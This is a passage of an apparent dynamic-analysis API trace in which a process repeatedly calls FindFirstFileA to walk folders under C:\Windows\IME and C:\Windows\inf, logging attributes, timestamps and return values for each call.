cAlternateFileName="")) returned 0x502598 [0128.193] FindFirstFileA (in: lpFileName="C:\\Windows\\IME\\IMESC5\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe491dfc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe4b7f56, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe4b7f56, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0128.193] FindFirstFileA (in: lpFileName="C:\\Windows\\IME\\IMESC5\\DICTS\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe4b7f56, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe9ecea4, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe9ecea4, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.200] FindFirstFileA (in: lpFileName="C:\\Windows\\IME\\IMESC5\\HELP\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe4b7f56, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe97aa96, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe97aa96, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.206] FindFirstFileA (in: lpFileName="C:\\Windows\\IME\\IMETC10\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe4de0b0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe50420a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe50420a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.207] FindFirstFileA (in: lpFileName="C:\\Windows\\IME\\IMETC10\\DICTS\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe4de0b0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe9c6d4a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe9c6d4a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0128.214] FindFirstFileA (in: lpFileName="C:\\Windows\\IME\\IMETC10\\HELP\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe50420a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe97aa96, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe97aa96, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0128.224] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe50420a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xefd5fc00, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xefd5fc00, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0128.230] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\.NET CLR Data\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe50420a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1e44a29c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.231] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\.NET CLR Data\\0000\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe50420a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe97aa96, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe97aa96, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0128.234] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\.NET CLR Data\\0409\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e44a29c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21c5a254, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0128.242] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\.NET CLR Networking\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe52a364, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1e44a29c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.242] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\.NET CLR Networking\\0000\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe52a364, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe97aa96, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe97aa96, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0128.245] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\.NET CLR Networking\\0409\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e44a29c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21c33f9b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0128.256] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\.NET CLR Networking 4.0.0.0\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b1d5a80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9b1fbbe0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9b1fbbe0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.260] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\.NET CLR Networking 4.0.0.0\\0001\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b1d5a80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b513a40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b513a40, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0128.264] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\.NET CLR Networking 4.0.0.0\\0004\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b1fbbe0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9b3789a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xe67d8ea0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0128.266] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\.NET CLR Networking 4.0.0.0\\0005\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b1d5a80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b513a40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b513a40, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0128.270] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\.NET CLR Networking 4.0.0.0\\0006\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b1d5a80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b513a40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b513a40, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0128.272] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\.NET CLR Networking 4.0.0.0\\0007\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b1d5a80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b539ba0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b539ba0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0128.276] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\.NET CLR Networking 4.0.0.0\\0008\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b1d5a80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b539ba0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b539ba0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0128.279] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\.NET CLR Networking 4.0.0.0\\0009\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b1d5a80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b513a40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b513a40, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0128.283] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\.NET CLR Networking 4.0.0.0\\000A\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b1fbbe0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b539ba0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b539ba0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0128.286] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\.NET CLR Networking 4.0.0.0\\000B\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b1d5a80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b539ba0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b539ba0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0128.291] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\.NET CLR Networking 4.0.0.0\\000C\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b1d5a80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b539ba0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b539ba0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0128.293] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\.NET CLR Networking 4.0.0.0\\000D\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b1d5a80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b539ba0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b539ba0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0128.297] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\.NET CLR Networking 4.0.0.0\\000E\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b1d5a80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b539ba0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b539ba0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0128.300] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\.NET CLR Networking 4.0.0.0\\0010\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b1d5a80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b539ba0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b539ba0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0128.304] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\.NET CLR Networking 4.0.0.0\\0011\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b1fbbe0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b539ba0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b539ba0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0128.306] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\.NET CLR Networking 4.0.0.0\\0012\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b1fbbe0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b539ba0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b539ba0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0128.310] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\.NET CLR Networking 4.0.0.0\\0013\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b1fbbe0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b539ba0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b539ba0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0128.313] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\.NET CLR Networking 4.0.0.0\\0014\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b1fbbe0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b539ba0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b539ba0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0128.317] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\.NET CLR Networking 4.0.0.0\\0015\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b1fbbe0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b539ba0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b539ba0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0128.320] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\.NET CLR Networking 4.0.0.0\\0019\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b1fbbe0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b539ba0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b539ba0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0128.334] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\.NET CLR Networking 4.0.0.0\\001D\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b1fbbe0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b539ba0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b539ba0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0128.340] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\.NET CLR Networking 4.0.0.0\\001F\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b1fbbe0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b539ba0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b539ba0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0128.342] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\.NET CLR Networking 4.0.0.0\\0404\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b1d5a80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b513a40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b513a40, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0128.345] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\.NET CLR Networking 4.0.0.0\\0416\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b1fbbe0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b539ba0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b539ba0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0128.347] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\.NET CLR Networking 4.0.0.0\\0804\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b1fbbe0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b513a40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b513a40, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0128.369] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\.NET CLR Networking 4.0.0.0\\0816\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b1fbbe0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b539ba0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b539ba0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0128.386] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\.NET Data Provider for Oracle\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe52a364, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1e423fe3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e423fe3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.390] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\.NET Data Provider for Oracle\\0000\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe52a364, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe9a0bf0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe9a0bf0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0128.393] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\.NET Data Provider for Oracle\\0409\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e423fe3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21c5a254, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e423fe3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0128.397] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\.NET Data Provider for SqlServer\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe5504be, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1e423fe3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e423fe3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.398] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\.NET Data Provider for SqlServer\\0000\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, 